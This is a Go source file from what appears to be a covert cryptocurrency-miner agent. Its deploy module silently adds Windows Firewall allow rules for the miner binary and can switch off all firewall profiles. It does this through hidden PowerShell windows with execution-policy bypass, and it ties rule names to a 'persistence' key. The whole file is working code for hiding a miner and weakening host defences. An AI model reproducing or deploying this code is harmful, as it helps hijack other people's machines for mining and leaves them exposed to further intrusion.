//go:build windows package deploy import ( "fmt" "log" "strings" "crypto-miner-agent/config" ) const firewallRulePrefix = "AetherForge" // EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary. func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) { if !cfg.FirewallExclusion { return } if strings.TrimSpace(exePath) == "" { return } ruleBase := firewallRuleBaseName(cfg) inName := ruleBase + " In" outName := ruleBase + " Out" if firewallRuleExists(inName) && firewallRuleExists(outName) { return } exeEsc := strings.ReplaceAll(exePath, `'`, `''`) script := fmt.Sprintf(` $exe = '%s' $in = '%s' $out = '%s' if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) { New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null } if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) { New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null } `, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`)) if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil { log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err) return } log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath) } // RemoveFirewallExclusionWindows deletes firewall rules created for this worker. func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) { ruleBase := firewallRuleBaseName(cfg) for _, name := range []string{ruleBase + " In", ruleBase + " Out"} { script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) _ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) } } func firewallRuleBaseName(cfg config.RuntimeConfig) string { key := PersistenceKeyName(cfg) if key == "" { return firewallRulePrefix } return firewallRulePrefix + " " + key } func firewallRuleExists(displayName string) bool { script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`)) out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return false } return strings.TrimSpace(string(out)) == "True" } // parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile. func parseFirewallProfiles(csv string) string { csv = strings.TrimSpace(strings.ToLower(csv)) if csv == "" || csv == "all" || csv == "any" { return "Domain,Private,Public" } var parts []string for _, p := range strings.Split(csv, ",") { p = strings.TrimSpace(p) switch p { case "domain", "private", "public": parts = append(parts, strings.ToUpper(p[:1])+p[1:]) } } if len(parts) == 0 { return "Domain,Private,Public" } return strings.Join(parts, ",") } // SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin). // profilesCSV: "all", "Domain,Private", etc. func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) { profiles := parseFirewallProfiles(profilesCSV) enabled := "$false" verb := "disabled" if enable { enabled = "$true" verb = "enabled" } script := fmt.Sprintf(` $profiles = '%s' -split ',' Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop `, strings.ReplaceAll(profiles, `'`, `''`), enabled) out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err) } return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil } // DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles. func DisableWindowsFirewall() (string, error) { return SetWindowsFirewallProfiles(false, "all") } // EnableWindowsFirewall turns on all firewall profiles. func EnableWindowsFirewall() (string, error) { return SetWindowsFirewallProfiles(true, "all") } // RemoveFirewallRuleByName deletes a rule by display name. func RemoveFirewallRuleByName(displayName string) (string, error) { name := strings.TrimSpace(displayName) if name == "" { return "", fmt.Errorf("rule name required") } script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return string(out), err } return fmt.Sprintf("Removed firewall rule: %s", name), nil }